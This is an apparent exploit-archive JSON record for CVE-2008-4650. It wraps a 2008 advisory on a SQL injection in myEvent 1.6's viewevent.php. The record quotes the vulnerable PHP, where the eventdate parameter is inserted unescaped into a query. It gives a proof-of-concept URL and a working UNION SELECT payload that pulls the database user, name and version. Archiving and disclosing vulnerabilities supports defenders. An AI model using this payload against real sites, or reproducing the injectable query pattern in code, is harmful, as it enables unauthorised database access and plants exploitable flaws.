{"exploit":{"id":"EDB-6760","name":"myEvent 1.6 - 'eventdate' SQL Injection (SQLi)","description":"myEvent 1.6 - 'eventdate' SQL Injection (SQLi)","cves":["CVE-2008-4650"],"author":"JosS","published":"2008-10-15","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6760","path":"exploits/php/webapps/6760.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6760.txt","vulnerabilities":[{"id":"CVE-2008-4650","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in viewevent.php in myEvent 1.6 allows remote attackers to execute arbitrary SQL commands via the eventdate parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4650","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4650"},"updatedAt":"2024-08-07T10:24:20.948Z","retrievedAt":"2026-11-27T01:08:21.515Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6760.png?v=2","url":"https://exploitbin.com/exploits/EDB-6760","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6760/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6760/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# myEvent 1.6 (viewevent.php) Remote SQL Injection Vulnerability\n# url: http://mywebland.com/\n#\n# Author: JosS\n# mail: sys-project[at]hotmail[dot]com\n# site: http://spanish-hackers.com\n# team: Spanish Hackers Team - [SHT]\n#\n# This was written for educational purpose. Use it at your own risk.\n# Author will be not responsible for any damage.\n#\n# Greetz To: All Hackers and milw0rm website\n\nvuln file: /viewevent.php\nvuln code:\n43: if (isset($_GET['eventdate']))\nxx: ...\n93: $sql = \"SELECT  * FROM event WHERE  date = '$eventdate'\" ;\n\n94: $results = mysql_query($sql) or die(\"Cannot query the database.<br>\" . mysql_error());\n\n95: $event  = mysql_num_rows($results);\n\nPoC:     /viewevent.php?eventdate='[foo]\nExploit: /viewevent.php?eventdate='+union+all+select+1,1,concat(user(),char(32,35),database(),char(32,35),version())/*\n\n# milw0rm.com [2008-10-15]","sha256":"6b829d59d1d9e9515f8c959af4e50944e0a63eb56858856daf7994abef77810e","bytes":854,"fetchedAt":"2026-11-27T01:08:16.727Z","encoding":"utf-8 (display only; download retains original bytes)"}